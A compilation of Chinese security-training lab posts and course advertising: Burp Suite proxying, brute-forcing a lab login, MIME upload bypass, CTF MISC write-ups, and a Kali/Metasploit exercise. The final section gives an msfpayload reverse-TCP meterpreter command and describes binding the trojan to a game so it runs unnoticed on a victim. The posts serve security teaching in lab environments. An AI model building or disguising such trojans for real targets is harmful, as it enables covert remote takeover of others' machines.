在这个例子中,我将代理Github的hub工具(对于命令行用户,GitHub提供了名为`hub命令行工具,对Git进行了简单的封装。该项目在GitHub上的地址为: https://github.com/defunkt/hub )。下载并安装了hub后,在Git repo中,我可以像这样检查看我当前的CI状态。
$ hub ci-status success
由于hub是一个Go语言开发的二进制程序,所以我只需要设置代理的参数即可。
$ https_proxy=127.0.0.1:8080 hub ci-status Error fetching statuses: Get https://api.github.com/repos/ropnop/blog.ropnop.com/commits/89c7759ac344d5a412dc63ce3f053fc3f06d09a0/status: x509: certificate signed by unknown authority
而这里我们得到一个SSL错误的返回结果。
设置GO的信任证书
不幸的是,Go没有提供任何渠道来设置信任外界的CA证书。对于每个平台,Go都会在操作系统上寻找受信任的CA证书。
这时,你必须将Burp证书添加到你的系统的密钥链中。之后,Go就会检查到它,你就可以代理Go语言的二进制文件了。
$ https_proxy=127.0.0.1:8080 hub ci-status success
总结
希望这些内容对你能有帮助。Python、Node和Go囊括了我使用的绝大多数CLI工具,当然还有其他工具。无论你是在对一个应用或CLI进行渗透测试,还是只是在开发中想进行调试,学会拦截HTTP流量并对其进行分析真的很重要。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
使用Burp进行暴力破解
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免网络安全问题的发生,以此加强网站安全防护
使用了burp的结构如下图所示。
操作环境如下图所示:
实战步骤一:Burp配置
我们了解到,burp在浏览器(客户端)是以代理的方式存在。因此,如果想要我们发送的包被burp截断,就需要双方协商好一个监听端口。
首先,双击打开桌面的burp进入主界面。
1. 设置burp监听端口:
选择proxy(代理),进入之后选择options。我们看到在Proxy listeners处burp为我们默认添加了一个本地8080端口处的监听项。
当然,你完全可以自拟一个新的监听端口,在左侧点击ADD即可设置
配置浏览器的代理项。
这里以系统自带的ie为例(chrome和firefox用户可以使用代理插件进行设置)
使用win+R键打开命令窗口,输入inetcpl.cpl进入ie设置。
在连接选项卡中,选择局域网设置
输入我们为burp指定的监听端口号
这时候,我们就建立了基本配置。
测试:
在burp中打开intercept is on.
用浏览器访问:10.1.1.163/crack,我们会在burp中看到
这表明我们已经成功的截获了来自浏览器的请求。
点击forward就可以把这个请求发送给服务器,服务器会将结果返回给浏览器中,并将响应在burp中记录下来。Drop会将这个包丢掉,即不会发送到服务器端。
实战步骤二:burp中的compare功能操作
compare模块可以将不同的数据包(无论是请求包还是响应包)进行比较。
首先,我们添加一条请求到compare模块去。
在已经截取的数据包上面右键,选择send to comparer
这时候,我们会看到在comparer模块,上下两个界面中同时多出来了一条记录。
使用同样的方法,我们在为comparer模块添加另外的一条记录。
我们打算使用1和2进行对比,在两个视图中选择1和2(顺序无所谓),然后点击右下角的compare word(bytes是指文件按照字节流来进行比对)。
从图中我们可以看到,窗口标题提示了我们两个文件有多少处不同。左下角的图例告诉了我们右侧和左侧相比,
哪些是添加的,哪些是修改的,哪些是删除的。非常直观。
实战步骤三:burp中的repeat功能操作
有时候我们需要向服务器发送多次相同的请求来测试服务器的响应。这里,我们只需要将burp截取到的请求通过右键send to repeater就可以在repeater中进行操作了。
进入到repeater之后,点击go按钮,右侧就会返回服务器的响应。
Go的次数没有限制,点击多少次go,burp就会把当前的请求页向服务器发送多少次。
使用repeater的目的是进行重放攻击测试,看服务器是否会对重放测试做出反应。
实战步骤四:burp中的intruder功能操作
Intruder功能是burp非常重要的功能,也是暴力破解中使用最频繁的功能。
在已经截获的请求页上右键,选择send to intruder。
进入intruder模块。我们会看到四个选项卡,分别是target,positions,payloads,options.
Target主要是设置暴力破解访问的host地址和对应的端口号
Positions设置是选择我们要暴力破解的位置。在默认情况下,burp会自动将所有的变量都勾选上。实际操作中,我们往往是针对单一点,选择clear$,此时所有默认的爆破点都已消失。
用鼠标选中需要暴力破解的变量的值。然后右侧选择add$,这样我们就添加了一个爆破点,这个爆破点的payload位置是在两个$之间的部分。
Payloads设置
选择怎样的字典或者payload,是这个模块要做的事情。Payload type 下拉列表框为我们提供了常用的payload 类型,视情况选择即可。
如果你有合适的字典,在选择了payload type为simple list后,接下来你就可以在payload options中选择你要加载的字典文件,点击load即可。
有时候我们需要对payload进行二次处理,比如md5加密啊,base64加密啊之类的,burp当然也考虑到了这一点。在payload processing中集成了一些常见的算法。
点击add,在弹出的窗口中就可以根据需要选择了。
Options中有关于其他细节的设置,比如攻击时使用的线程数,关于攻击的一些存储设置之类。这里就不再赘述。
实战步骤五:使用burp暴力破解网站
访问10.1.1.163/crack/,这是一个登录界面。
使用登录账号密码,完成表单后提交。这时候burp会截取我们的请求。
在该请求页上右键选择send to repeater.我们来进行重放测试。点击go,右侧返回服务器的响应。多次go之后发现,服务器返回的长度和内容都没有发生变化,都会提示sorry
也就是说,服务器对多次测试并没有加以限制,因此我们可以使用暴力破解了。
为了再次验证,我们在登陆界面再次输入一个不同的密码。在我们将两次请求的响应使用comparer去比对一下。(在proxy中选择子选项卡HTTP History,选择方法为post的两个历史记录,点击每一条post记录,下方会看到不同的post数据时,这应该就是我们的两次不同密码的请求记录,右键选择send to comparer(response))
从图中我们可以发现,经过对两次不同的请求返回结果进行对比,burp为我们在左上角标出了2项不同,但都是体现在时间上,其余都相同。所以可以使用暴力破解。
进入到intruder之后,先点击clear,然后选中我们刚才填写的pas字段值,点击add。这样,就确定了爆破点是pas位置。
打开payload选项卡,payload type选择数字。
选择数字之后,我们填写数字范围。因为是已经暗示了密码范围,所以我们选择50到100.顺序生成,每步加1(step设置)
开始攻击。
进入攻击测试界面,我们重点关注payload和length,这里的length表示的是服务器的响应长度。
从理论上来分析,登陆成功和登陆失败,返回的长度应该不同,这能方便我们找出正确密码。右下角的进度条显示了我们的进度。
一段时间过后,我们测试结束(请大家耐心等待,实际上在实体机上测试非常快)。这时候在length上双击,可以对length排序。
我们发现,在测试的50个payload中,payload为69的返回值不同与其他payload返回值。我们怀疑69就是答案。我们来观察一下。
在payload为69的request上双击,进入后选择response。
浏览response,直到发现
Yes,you catch the flag。
我们的目的通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
写给Web新人,2021涨薪跳槽指南!
2021金三银四马上就要开启了,你为涨薪跳槽做好准备了吗?
随着网络信息技术的飞速发展和全面普及,国家及企业对网络安全人才求贤若渴,而网络安全职位中,Web安全相关职位占比更高,所以这就决定了Web安全人才在市场上拥有令人眼红的薪资水平。
当我们去看拉勾、BOSS直聘等招聘网站上的信息会发现,国内至少有数百家企业,有能力且愿意,年薪20万-60万,招募各类Web安全人才。
对于想转型进入网络安全人来说,Web安全是最容易入门的,因为它不需要有编程语言基础,所以,只要是目标明确、想在Web安全方向发展,且足够努力的同学,从零进入Web安全或跨行Web安全是很容易的,这也是为什么近年来从其他行业或者岗位转到Web安全岗的人在不断增加。
或许很多想零基础入行的同学要问了:
从零开始学习Web安全需要哪些必备技能?
怎样在短时间内达到大厂对Web安全岗位的要求,拿到 offer
......
对于工作 1-2 年的Web安全人员来说,他们同样面临着职业发展的问题:
在日常工作中缺少更靠谱的指导,也没有体系化的学习机会,以至于工作了几年,还觉得自己像野路子;
重复执行打杂的工作,没有核心竞争力,连升职加薪都很难,更别提进大厂了。
那么,作为Web安全工程师,如何更聪明地选择职业发展路径、提升自己核心技能、掌握体系化的产品知识,让自己早日避免打杂、低薪的状态,成为有“钱途”、有长期职业竞争力的人呢?
为了解决以上这些问题,我们调研了数百家安全企业对于Web安全人员的招聘需求,从岗位实际需求出发打造了这样一门课,3 节课 + 3 个实战练习 +7天社群服务 + 实战作业反馈 ,原价198元,限时优惠只需要 2分钱 !课程第一节课将于 2月22日开课,赶紧抢购吧!
限时 2 分钱
点击抢位
只要2分钱,就能带你入门Web安全,所以,强烈建议你不要犹豫。
除此之外,课程还包含一份100%有用的Web安全学习工具包,涉及虚拟机安装包、漏洞扫描工具及信息收集、权限提升、密码字典学习资料等等,我们都为你整理总结好了,报名完成后加班主任领取!
扫码添加班主任
如果你有无法解答的难题也不用急,课程中包含课程班主任 1V1 咨询辅导,不管是在工作还是学习中遇到的问题,都有机会得到专业的指导,这将确保:通过一次课程学习,你在学习或者工作中遇到的真实的问题,都会有专业的班主任为你解答,相信我,这是个超级无敌有价值的事,花钱也买不来的那种。
考虑到有很多新同学对这门课程还不是很了解,接下来我将花一点时间为你介绍一下这门课程的具体内容,以及蚁景网安学院的学习方式、服务模式等等。
01.这门课你将学到什么?1
建立Web安全整体知识体系
当你想快速进入一个行业的时候,第一步不是直接开始学习,而是梳理这个行业的知识体系,或者你这个行业所需要的掌握的必备能力,然后一步一步进行拆解。
这样的好处在于,第一能够清晰的理清楚你需要真正掌握的技能点,第二能够增强执行力,因为当你拆解成各个能力模块的时候,你的执行力会提高,因为你知道你需要每天做什么。
为此,老师将在课程中分享我们针对上百家企业的Web安全工程师岗位做了深度调研,总结出的Web安全学习路径,帮大家建立Web安全知识体系。
高清版扫码添加班主任领取
2
针对性技能实战训练
了解了整体的学习路径后,我们有针对性的选择了3个技能点——短信轰炸漏洞、支付逻辑漏洞、任意密码重置漏洞,在理论教学后,单独带领大家“实战训练”。
很多同学在理论学习完后,都有一种感觉,“听课感觉什么都懂,一做起来就什么都不会了”,归根结底是没有在上课完后,及时实操检验自己的学习成果。
本次课程,我们每节课,都配套了相应的实操环境,供你实操练习,让你学完后,立马可以操作,及时检验所学知识,查缺补漏。详细安排如下:
02.课程配套哪些服务
除了优质的课程内容和实操作业
我们还提供7天高质量班级服务,专业的班主任会在班级群里提供干货分享 + 答疑服务+作业催收,学员完成实战作业后,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!(全勤到课且按时完成靶场作业的有优秀学员奖励哟!)
另外,班主任还会提供全程督学服务,在督促你按时到课的同时,帮你做业务诊断+就业推荐绿色通道(1v1免费推荐面试)。
所以,一定要记得添加班主任,班主任将会给你提供免费靶场作业地址、渗透测试学习资料并拉你进班级群,享受7天的高质量的班级群群服务和班主任 1 V 1 督学服务。
扫码添加班主任
03.这门课适合谁?
首先,如果你是信息安全专业在校学生,想通过学习从事安全相关工作,那么不要犹豫,这门课程是为你量身定制的,它非常适合你,因为课程配套了高强度的靶场实操训练,补足你在日常学习过程中实操经验不足等问题!
其次,这门课程也适合对黑客渗透技术感兴趣,却不知道怎么入门的同学——可能你对黑客这个群体的印象,只是局限于:是一群玩计算机很厉害的人,能通过电脑一顿操作就拿下一个网站,拿下一个服务器的权限。但是可能并不知道黑客是通过什么方法技巧来达到这个效果的,那么学完这门课,你将正式进入黑客的世界。
最后,未来的互联网行业中一定需要更多的复合型人才,所以,如果你是做功能测试的,做运维的、做开发的更应该好好学习这个课程,在你们的日常工作中,可能会经常会碰到服务器被攻击,收到各种异常攻击告警,但是却因为不了解黑客攻击技术,而无法定位黑客攻击路径并阻止攻击行为。所以如果你想你的职业再上一个台阶,安全是你必不可少的一个技能!
04.报名须知
Q课程直播还是录播?
2月22日(下周一)—2月24日(下周三)15:00—16:00,连续3天直播课,每节课课后配套实操作业,有疑问随时班级群咨询,老师在线答疑,让你充分吸收所学知识,共计3天直播+录播永久可看。
Q报名后需要做什么?
报名后扫码添加班主任为好友,并将支付截图发给她,班主任会在开课前统一拉入群。(班主任会在1天内通过好友,请耐心等待)。
以上,就是这样一门包含诸多干货内容+实操作业+ 1 V 1 服务的课程。
不要 999 ,也不要 99 ,只要 2分钱!
它一定不能解决你的所有问题。但是,它会是你“提升”的开始,从认知上改变你对Web安全岗位和行业的理解,进一步帮你掌握核心能力、完成职业路线的规划,成为更受企业欢迎的产品人才!
本课程第一节课即将于 2 月 22 日开课,想要在这个特殊时期率先“晋升”的同学,赶快长按识别下方图片中的二维码,一起加入我们吧!
Burpsuite简介及MIME上传绕过
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本实验主要介绍了burpsuite的简介及MIME上传绕过,通过本实验的学习,你能够了解burpsuite以及文件上传检测,掌握burpsuite中Proxy模块和Target模块的使用,学会使用burpsuite绕过服务端MIME类型检测。
实验地址:http://yijinglab.com/expc.do?ce=ebb835a6-c82d-4bc5-9fca-cfb15ff78ee8
一、 使用Burpsuite的代理功能
访问试验机中的地址10.1.1.59:81,输入用户名和密码,打开burpsuite,设置好浏览器代理,点击sql injection,
截获的数据包如下
右键单击,如下图所示:
Send to XXX分别表示将截获的数据发送到各个模块,然后在各个模块下进行下一步操作。
下拉菜单,点击Send to Spider切换到Spider模块下,burpsuite会自动对网站进行爬行,Control选项卡下可以查看爬行的状态和设置爬行范围,Options选项卡中可以进行爬行的设置等。一段时间后切换到Target模块查看结果:
Change request method表示更改请求方式,如之前使用的GET请求,点击Change request method后为变为POST
Don’t intercept requests表示不截获请求,比如我们选择To this host,在Intercept is on时burp也不对此主机的请求做拦截。我们就可以正常访问该网页了。
然后我们切换到Proxy的Options选项卡下,查看Intercept Client Requests,已经增加了一条记录
Do intercept下Response to this request功能可用于对服务端发送过来的信息做修改来欺骗浏览器。
如果开启URL-encode as you type表示对你输入的&,=等字符将会被URL编码替换。
Target模块
这个模块下有两个选项卡,Site map主要是将爬行的站点以树形结构显示,Scope主要是用来设置范围进行过滤。
有时当我们对一个目标网址进行测试时,Site map下会出现许多不相关的网址,我们可以使用Filter来过滤,只留下目标网址
点击Filter,勾选Show only in-scope items
此时Site map下只剩下目标网址了
然后我们随便点击一个目录又会出现许多功能
点击Remove from scope,比如我此时选择css,该目录就会消失,对应的Scope选项卡下便会多出一条记录
点击Spider this branch,burp就会对该目录进行爬行
点击Expand branch来展开分支,其他功能不是很常用,有兴趣的小伙伴可以自行研究哦。
Site map选项卡右边可以看到一些请求的信息,在Host下可以选择对链接进行高亮显示,comment下可以添加注释,针对单个链接也可进行右键操作。
三、使用burpsuite上传绕过服务端MIME类型检测
1.首先在桌面上新建一个1.txt,此处我写入“文件上传绕过测试!”。然后将后缀修改为jpg。
2.打开试验机地址10.1.1.59:81,输入用户名和密码,点击Upload
3.设置好代理,然后点击upload,burpsuite已经截获到了数据包,右击send to repeater
4.我们将Content-Type后的text/plain修改为image/jpeg
5.点击go,从右侧可以看到已经上传成功,我们在右下方输入1.jpg进行搜索刚才上传的图片。
6.关闭代理,打开搜索到的路径
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
CTF从入门到进阶之MISC
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
0x01:背景
CTF竞赛是安全圈喜闻乐见的竞赛模式,对于培养网络安全技术人才起到了很重要的作用。CTF起源于1996年DEFCON全球黑客大会,是Capture The Flag的简称。经过多年的发展,CTF这种比赛形式已经日益成熟。
CTF注重动手技能,深厚的理论功底厚积薄发,技术的卓越是建立在无数次训练的基础上,那么我们来看看有哪些不错的平台可以来用于比赛训练。
一般线上初选采用传统的夺旗赛模式,也就是在题目中设置一些标识,解题的目的就是为了找到标识并提交。通常包含的题目类型包括MISC、CRYPTO、PWN、REVERSE、WEB等。
MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。
CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。
PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。
REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。
WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。
本系列文章将会逐一介绍这五大传统类型的题目的攻略及经典题目的WriteUp,以此来帮助对信安感兴趣的小伙伴们通过CTF竞赛的方式更好地学习、掌握信息安全相关技能。
0x02MISC介绍
我们先从五大模块中的最有意思最好玩的一块开始说起,那就是MISC。
MISC,中文即杂项,包括隐写,数据还原,脑洞、社会工程、与信息安全相关的大数据等。
竞赛过程中解MISC时会涉及到各种脑洞,各种花式技巧,主要考察选手的快速理解、学习能力以及日常知识积累的广度、深度。
MISC这一块并不像PWN\REVERSE等需要深厚的理论基础,所以我们直接从经典题目开始入手。
0x03说明
0x04部分为WP,作为给小伙伴们提供结题思路之用,如果想获得好的训练效果,请先不要看0x04部分。前往文章开篇给出的链接下载题目自己先动手试试。
0x04CTF仿真题WP
1.紧急报文
密文都由ADFGX,百度一下,发现有个ADFGX密码
密码表如图
对应着解密即可
FA XX DD AG FF XG FD XG DD DG GA XF FA
flagxidianctf
提交:flag_Xd{hSh_ctf:flagxidianctf}
2.flag.xls先介绍最简单的方法
直接仍在winhex中然后查找flag关键字即可
别的方法也是半斤八两,因为打开xls它要密码,所以我们就用notepad或者notepad++打开都行,在搜索flag就行了
3.图片里的动漫
一张图片而已,果断拉到kali里binwalk
看到了ZIP
于是后缀改为.zip打开,得到flag.rar,需要密码,再次binwalk
发现.JPEG,于是改格式为.jpeg,打开发现是七龙珠的图片
题目提示是小写英文字母,七龙珠的英文是dragon ball,提示发现错误
考虑到图片是倒着的,所以答案也是倒着的,即逆序,得到答案
CTF{llabnogard}
4.Canon
下载后解压是一段mp3和一个压缩文件,压缩文件打不开先放着,我们先处理mp3
misc肯定会涉及到隐写,处理mp3的隐写一般使用mp3Stego,但是处理时需要密码,试试用标题Canon
打开文件夹,发现
打开txt,里面的就是前面的压缩文件的解压密码
解压后里面有个txt,目测是base64,但是这么长的base64让你解密是不合理的,所以考虑可能是某种类型的某件缺了些代码,补上后再按照相应的格式打开就行了
txt文件提示我们是png格式,所以直接后缀改为.png用winhex打开看看,发现没有明显的文件头
所以我们给它添加,这里直接用Python来,顺便生成最后的图片
import base64
def foo():
f=open(‘C:\Users\hasee\Downloads\mimimi\zip\pic_png.txt’).read()
fsave=open(‘pic.png’,’wb’)
addHeader=”89 50 4E 47 0D 0A 1A 0A”.replace(’ ‘,”).decode(‘hex’)
fsave.write(addHeader)
fsave.write(base64.b64decode(f))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘ok’
pass
打开生成后的图片得到答案
当然,非要base64解密也行,解密后把看上去干净点的代码复制到word里查找CTF就得到答案了
5.ROT-13变身了
rot-13作为置换暗码的一种都是数字怎么可能,所以应该想到ascii
题目提示回旋13,我们-13就行了
python中的chr可以自动转换,我们由此跑python
????表示为未知,给我们的MD5也查不出来,所以只能自己爆破了,爆破的思路大概就是:
?作为ASCII的可见字符,范围在32-126,有95种可能,四个????所以有95^4中可能,每种排列出来后再进行MD验证
由此思想来跑PYHTON
得出答案
6.解码磁带
只有字符’o’和下划线’‘,不免让我们想起二进制,只有0和1,却能表示所有信息,所以我们尝试用0,1替换o和
而究竟0对于o还是_呢?我们有例子可以得到
跑Python的思路是这样子的,换成二进制后再转换成ascii,然后相应解码即可,也可以参考这张图片
直接用二进制对应字母
python结果如下:
按照格式提交即可
7.功夫秘籍
下载来的是一个压缩包,打开它。。。我的天,居然打不开。扔到winhex看看,发现是png
本来想直接改成png的,但是想到改了之后还是要winhex,干脆直接搜索key,flag等关键字,找到了
目测base64,解码
目测栅栏,解码
提交时只需要提交{}里面的内容就行了
8.WTF?
打开一看一堆乱七八糟的东西,不过拉到最下面发现有=,base64解之
得到01的组合
数了一下有65536 = 256*256
正方形是吧
那么尝试组个正方形出来
作图的话processing挺好用
扫一扫就出来了
9.社交网络
下载来的压缩文件需要密码,爆破之
解压后得到文件,右键查看属性,得到flag
10.有趣的文件
最前面的8位是地址,不用管,后面的应该是文件头,百度afbc 1c27
看样子应该是.7z的压缩文件,不过给出的acsii里面没有37 7a,这就是缺少的,需要我们补上
,补上后发现什么文件也不是,问题出在哪里呢?
百度后发现每两位应该交换一下
这个任务太繁重了,本来还想这放在winhex里面手工的,这里直接Python 吧
def revStr(s):
news=””
for i in xrange(0,len(s),4):
news+=s[i+2:i+4]
news+=s[i:i+2]
return news
def foo():
f=open(‘funfile’)
s=”377a”
for line in f:
s+=revStr(line.strip()[8:].replace(’ ‘,”))
fsave=open(‘fun.7z’,’wb’)
fsave.write(s.decode(‘hex’))
fsave.close()
pass
if name == ‘main‘:
foo()
print ‘finished’
自动生成fun.7z压缩文件,解压后是一张阿狸的图片,拖进winhex看看,发现疑似flag的base64加密过的
复制后base64解码就行了
0x05结语
看到这儿,小伙伴们是不是觉得MISC很有意思呢,由于MISC的类型比较多,难免挂一漏万,不过我还是尽可能多地给小伙伴提供各种花式姿(知)势(识)。
MISC之路,漫漫其修远兮,且行且珍惜。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Kali渗透Windows服务器
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
这个实验主要让我们学习漏洞扫描技术基本原理,了解其在网络攻防中的作用,掌握使用Kali中的Metasploit对目标主机渗透,并根据报告做出相应的防护措施。
本次实战环境:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709525300001
实战步骤一
本实验通过利用kali进行漏洞扫描,使用Metasploit对目标主机进行渗透测试,并根据报告做出相应的防护措施,共分为3个实验步骤,详情如下;
1、 实战步骤一:生成setup.exe后门程序,即木马程序。
(1) 打开kali终端,输入ifconfig, 得到本机ip为192.168.189.130。
如下图:
(2)输入以下命令,使用msfpayload生成名为setup的后门程序:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.189.130 x > setup.exe 如下图:
(3) 进入setup.exe所在目录,修改属性:选择“允许以程序执行文件”。
如下图所示:
(4) 终端中输入首先msfconsole;然后输入use exploit/multi/handler来加载 exploit/multi/handler 模块;输入set LHOST 192.168.189.130来设置本地主机;然后输入exploit -z -j开始监听,如下图所示:
实战步骤二
将上面生成的木马程序与某个软件进行捆绑。
(1)可以在windows系统下使用exe捆绑软件将setup.exe和一个其他的某个安全软件合并为一个软件,这样在运行软件时两个软件同时运行,不会引起注意。在tools里面进入名为exekunbang的文件,先打开ExeBinder.exe捆绑软件。选择第一个要合并的软件,默认选择本软件中自带的小游戏程序:
点击下一步,选择第二个要捆绑的软件,即之前生成的木马程序setup.exe:
点击下一步,选择一个文件要保存的路径:
继续点击下一步,开始捆绑软件:
(2) 将捆绑后的软件发送给目标主机。
实战步骤三
检测目标主机,对目标主机进行渗透测试。
(2) 目标主机执行程序后,在kali终端中的检测程序会及时检测到。在检测到目标主机运行程序后,后门程序会反向连接到msf,之后msf发起第二次攻击(开始渗透),然后客户端(后门程序)连接到服务端(msf)。输入sessionss:
可以看到目标主机的ip为192.168.189.129,
(2)再继续输入sessions -i 1,之后可以对目标主机进行一系列的操作。如输入sysinfo可知道目标主机的系统信息;输入 getuid查看对方正在运行的用户。
要养成多思考多总结的习惯,对实验结果多去分析,这样回收获更多。比如如何利用kali进行漏洞扫描;如何使用Metasploit对目标主机进行渗透测试;这些都是这次实战后可以去思考的。
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

